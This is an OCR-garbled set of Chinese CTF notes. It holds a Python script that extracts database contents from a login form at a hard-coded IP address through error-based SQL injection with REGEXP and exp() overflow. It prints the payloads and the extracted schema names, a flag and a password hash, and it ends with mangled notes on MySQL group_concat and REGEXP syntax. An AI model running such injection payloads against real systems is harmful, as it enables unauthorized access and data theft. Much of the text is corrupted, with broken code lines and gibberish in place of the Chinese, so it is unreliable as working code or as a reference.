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H coding:utf-8
import requests

url 'http://1.116.103.114:84/admin/admin.php"
strings "abcdefghijklmnopgrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ {3}, -\\{\\}_"
HIZE: user=' or (select if(group_concat(distinct table schema) regexp '~{}',exp(100000),1) from information_sch
ema.tables)#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
45 B InfORMATION _SchEmA, ddcTf,mYSQ1, PERFORMANCE_SchEmA,SECURITY
HIBR: user=' or (select if(group_concat(distinct table_name) regexp '~{}',exp(100000),1) from information_schem
a.tables where table_schema regexp 'ddctf')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95
et user_flag
B F 4% :user=" or (select if(group_concat(distinct column_name) regexp '~{}',exp(10000),1) from information_sche
ma.columns where table_name regexp 'flag')#&pass=mochu7&submit=%E77%99%BB%E5%BD%95
H4ER: id,username,password
HBFEL: user=' or (select if(group_concat(password) regexp '~{}',exp(10000),1) from ddctf.user_flag)#&pass=mochu
7&submit=%E7%99%BB%E5%BD%95
HZEH: admin,daydream,flag{the_sql_f14g_of_ daydream},874a0300d72a3676c4413ce52454eff7
SENARCET) "user="' or (select if(group_concat(distinct table name) regexp '~{}',exp(100000),1) from information_s|
chema.tables where table_schema regexp 'ddctf')#&pass=mochu7&submit=%E7%99%BB%E5%BD%95"
res v
= -
headers {'Content-Type"': 'application/x-www-form-urlencoded"'}
for i in range(20):#20NFHKE
for c in strings
if res v
pay payload.format(c)
print(pay)
r requests.post(url=url, data=pay,headers=headers).text
#print(pay)
else
pay = payload.format(res+c)
r requests.post(url=url, data=pay,headers=headers).text
#print(pay)

#print(r)
if 'DOUBLE' in r:#DOUBLENAH/R NIk B 4538
C
f C
print(f)
break
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{5]1:select concat (id, name, score) as info from tt2;
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2. 18i%: concat ws(separator, str1, str2, ...)
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=. group_concat()ERZ{
fEBgroup bylEIBIEG S, selectiEENFREAF S ST Egroup byiIBONEME, 1
AOENEIE, BAMBESTERGREF.

ZHIEE T namet8RE/VRIA P E/NYId, INRFE(IIEETInameiBRIAARFFEMNIdIE?




EEXER—IMEFHIER, EEFEEERFEN. BEFEaNlnE, BEirae=x
HAHT—%, Ve RENEZERANIdIE? {E/group concat()

1. ThEg: ¥group byP4MRE—SEPRIEEEER, RE—FRHEER.

2. 1Bi%: group concat( [distinct] EEZEAIFER [order by HEFF=FEE asc/desc |
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CEFRFEFL("):

SHATELL "sa” FRELHUEFR. il F——sam,samarth,

SELECT name FROM student_tbl WHERE name REGEXP "#sa’;
LR FIFRAIKE(S):

SHAELL "on” SENER. #HF——norton,merton.
SELECT name FROM student_tbl WHERE name REGEXP 'on$’;
R EREF TR H—PEF():

LHEFEEE “com” RIRE, 5l F-comedy, romantic comedy.
SELECT title FROM movies tbl WHERE title REGEXP ‘com?;
PtEip1. p2sp3(p1|p2|p3)hasEEiEt:

SHATEEE "be” 8 "ae” HEIR. il F¥——Abel, Baer.
SELECT name FROM student tbl WHERE REGEXP 'belae’;

LA 75 #5S ([abc]) RFI HAMERFF:

LHEE )" & "7 AR, il F-Lorentz, Rajs.

SELECT name FROM student_tbl WHERE REGEXP '[jz]';

LE' a '#' z ' - ([a-z]) ([a-z]F0() ZEERDEFE:

RREEFE b’ 11 "9" EERNREER, EREEFR, BRFE "a" . fi,

Tobias, sewall.
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SELECT name FROM student_tbl WHERE REGEXP '[b-g].[a]';
EEFAARERFBESPIIELNFH. ([“abc]):

HEHITEASS ) 3 "z" BB, R0 nerton, sewall.
SELECT name FROM student tbl WHERE REGEXP '[*jz]';
eEE SRS R[:>:]]:

SHTBLAFR "ack” SERVRE. Il F——-Black.



SELECT title FROM movies tbl WHERE REGEXP "ack[[:>:]]’;

PeER e k([ <:]):

SHETELIFE “for” FFLOVARER. f5lF-Forgetting Sarah Marshal.
SELECT title FROM movies tbl WHERE title REGEXP ‘[[:<:]]for";
CE—1=FFZ([:class:]:

i.e [lower]- NE=Ff, [digit] -#IFZFMHE.
REHBEFBFHNEIRE, flF-stranger things, Avengers.

SELECT title FROM movies_tbl WHERE REGEXP '[:alpha:]' ; “oD1 @I EloRim i
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